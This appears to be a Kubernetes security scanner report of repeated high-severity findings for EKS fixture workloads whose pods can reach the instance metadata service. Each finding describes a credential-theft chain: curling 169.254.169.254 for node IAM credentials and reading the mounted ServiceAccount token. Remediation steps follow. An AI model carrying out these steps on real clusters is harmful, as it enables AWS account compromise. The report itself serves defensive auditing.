  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"hookbackend-fixtures/hookbackend-injector"
reason
"no-egress-policy"
sa
"hookbackend-fixtures/default"
workload
"Deployment/hookbackend-fixtures/hookbackend-injector"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "hookbackend-fixtures/hookbackend-injector",
  "reason": "no-egress-policy",
  "sa": "hookbackend-fixtures/default",
  "workload": "Deployment/hookbackend-fixtures/hookbackend-injector"
}
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader Resource: Deployment/imgswap-fixtures/imgswap-reader-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"imgswap-fixtures/imgswap-reader-app"
reason
"no-egress-policy"
sa
"imgswap-fixtures/imgswap-reader"
workload
"Deployment/imgswap-fixtures/imgswap-reader-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "imgswap-fixtures/imgswap-reader-app",
  "reason": "no-egress-policy",
  "sa": "imgswap-fixtures/imgswap-reader",
  "workload": "Deployment/imgswap-fixtures/imgswap-reader-app"
}
HIGH ServiceAccount/ingress-only/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default Resource: Deployment/ingress-only/ingress-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"ingress-only/ingress-app"
reason
"no-egress-policy"
sa
"ingress-only/default"
workload
"Deployment/ingress-only/ingress-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "ingress-only/ingress-app",
  "reason": "no-egress-policy",
  "sa": "ingress-only/default",
  "workload": "Deployment/ingress-only/ingress-app"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow Resource: Deployment/lp-fixtures/lp-narrow-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-narrow-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-narrow"
workload
"Deployment/lp-fixtures/lp-narrow-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-narrow-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-narrow",
  "workload": "Deployment/lp-fixtures/lp-narrow-app"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-orphan Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan Resource: Deployment/lp-fixtures/lp-orphan-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-orphan-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-orphan"
workload
"Deployment/lp-fixtures/lp-orphan-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-orphan-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-orphan",
  "workload": "Deployment/lp-fixtures/lp-orphan-app"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: Deployment/lp-fixtures/lp-wildcard-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-wildcard-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-wildcard"
workload
"Deployment/lp-fixtures/lp-wildcard-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-wildcard-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-wildcard",
  "workload": "Deployment/lp-fixtures/lp-wildcard-app"
}
HIGH ServiceAccount/netpol-imds/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default Resource: Deployment/netpol-imds/imds-allow-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
offenderCIDR
"0.0.0.0/0"
pod
"netpol-imds/imds-allow-app"
reason
"explicit-allow"
sa
"netpol-imds/default"
workload
"Deployment/netpol-imds/imds-allow-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "0.0.0.0/0",
  "pod": "netpol-imds/imds-allow-app",
  "reason": "explicit-allow",
  "sa": "netpol-imds/default",
  "workload": "Deployment/netpol-imds/imds-allow-app"
}
HIGH ServiceAccount/netpol-imds/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default Resource: Deployment/netpol-imds/imds-open-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"netpol-imds/imds-open-app"
reason
"no-egress-policy"
sa
"netpol-imds/default"
workload
"Deployment/netpol-imds/imds-open-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "netpol-imds/imds-open-app",
  "reason": "no-egress-policy",
  "sa": "netpol-imds/default",
  "workload": "Deployment/netpol-imds/imds-open-app"
}
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

